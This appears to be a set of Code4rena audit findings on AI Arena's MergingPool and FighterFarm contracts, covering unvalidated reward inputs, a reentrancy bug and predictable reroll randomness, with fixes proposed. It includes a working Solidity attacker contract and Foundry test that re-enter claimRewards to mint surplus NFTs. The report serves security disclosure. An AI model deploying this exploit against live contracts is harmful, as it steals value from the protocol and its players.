AI Arena - Zac's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139

Vulnerability details

Impact

User choose the URI, type, element and weight when claiming their reward NFT. There is no validation of this data so a player could input invalid data.

In the case of weight this could lead to an unfair advantage in the game if the user puts an extremely high value. In the case of element it could cause errors in the game if the chosen element does not exist.

Proof of Concept

function testClaimRewardsAttack() public {
    address user1 = makeAddr("user1");
    address user2 = makeAddr("user2");
    _mintFromMergingPool(user1);
    _mintFromMergingPool(user2);
    assertEq(_fighterFarmContract.ownerOf(0), user1);
    assertEq(_fighterFarmContract.ownerOf(1), user2);
    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0;
    _winners[1] = 1;
    // winners of roundId 0 are picked
    _mergingPoolContract.pickWinner(_winners);
    assertEq(_mergingPoolContract.isSelectionComplete(0), true);
    assertEq(_mergingPoolContract.winnerAddresses(0, 0) == user1, true);
    // winner matches ownerOf tokenId
    assertEq(_mergingPoolContract.winnerAddresses(0, 1) == user2, true);
    string[] memory _modelURIs = new string[](2);
    _modelURIs[0] = "innapropriate URI"; // invalid URI
    _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; // valid URI
    string[] memory _modelTypes = new string[](2);
    _modelTypes[0] = "invalid type"; // invalid type
    _modelTypes[1] = "original"; // valid type
    uint256[2][] memory _customAttributes = new uint256[2][](2);
    _customAttributes[0][0] = uint256(9000); // element - invalid
    _customAttributes[0][1] = uint256(123456789); // weight - invalid
    _customAttributes[1][0] = uint256(1); // element - valid
    _customAttributes[1][1] = uint256(80); // weight - valid
    // winners of roundId 1 are picked
    _mergingPoolContract.pickWinner(_winners);
    // winner claims rewards for previous roundIds
    vm.prank(user1);
    _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); // invalid URI, type, element and weight
}

Tools Used

Foundry

Recommended Mitigation Steps

Rather than the user choosing the data itself, let them choose an index for an array. You can then validate that the index is valid based on the length of the array.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139

Vulnerability details

Impact

When an attacker is due multiple reward NFTs they can use reentrancy to claim more than they are entitled to.

NOTE: The attacker must win multiple rounds as this re-entrancy attack will not be beneficial if they have only won a single round.

The more rounds the attacker has won the more beneficial the reentrancy is: Wins 1 rounds claim 1 NFTs Wins 2 rounds claim 3 NFTs Wins 3 rounds claim 6 NFTs Wins 4 rounds claim 10 NFTs Wins 5 rounds claim 15 NFTs

We can use this formula to compute how many NFTs we will get:

numNFTs = (wins^2 + wins) / 2

Proof of Concept

Attacker Contract:

pragma solidity >=0.8.0 <0.9.0;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import { FighterFarm } from "./FighterFarm.sol";

interface IMergingPool {
    function claimRewards(string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes) external;
}

contract RewardsAttacker {
    address public target;
    address public farmNFT;
    uint count;
    bool public initialNFT = true;

    constructor(address _target, address _farmNFT) {
        target = _target;
        farmNFT = _farmNFT;
    }

    function attack() public {
        string[] memory _modelURIs = new string[](1000);
        string[] memory _modelTypes = new string[](1000);
        uint256[2][] memory _customAttributes = new uint256[2][](1000);
        IMergingPool(target).claimRewards(_modelURIs, _modelTypes, _customAttributes);
    }

    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4) {
        if (initialNFT) {
            initialNFT = false;
        } else {
            // transfer NFT to random address to avoid limit of 10 NFTs per address
            // in an actual attack, the attacker would transfer the NFTs to addresses they control
            count++;
            address randomAddress = address(uint160(uint(keccak256(abi.encodePacked(block.timestamp, count)))));
            ERC721(farmNFT).transferFrom(address(this), randomAddress, _tokenId);
            attack();
        }
        return this.onERC721Received.selector;
    }
}

Test:

function testClaimRewardsReentrancy() public {
    address user1 = makeAddr("user1");
    address attacker = makeAddr("attacker");
    vm.prank(attacker);
    RewardsAttacker rewardsAttacker = new RewardsAttacker(address(_mergingPoolContract), address(_fighterFarmContract));
    _mintFromMergingPool(user1);
    _mintFromMergingPool(address(rewardsAttacker));

    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0; // other user
    _winners[1] = 1; // attacker

    uint roundsWon = 5;
    for(uint256 i = 0; i < roundsWon; i++) {
        _mergingPoolContract.pickWinner(_winners);
    }

    // winner claims rewards for previous roundIds
    console.log("Total supply before attack: ", _fighterFarmContract.totalSupply()); // 2
    vm.prank(attacker);
    rewardsAttacker.attack(); // Supply should only increase by 5 but instead increases by 15
    console.log("Total supply after attack: ", _fighterFarmContract.totalSupply()); // 17
}

Tools Used

Foundry

Recommended Mitigation Steps

Add a reentrancy guard to the claimRewards function

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370

Vulnerability details

Impact

The description for the reroll function states: "Rolls a new fighter with random traits." However all of the factors in the function can be predicted ahead of time.

Proof of Concept

uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));

The above dna can be predicted. Additionally the player can transfer the NFT to a different address which produces an outcome more similar to what they want.

Tools Used

Manual review

Recommended Mitigation Steps

Either let the player choose the dna value or use a secure source of randomness such as Chainlink VRF.

Assessed type

Other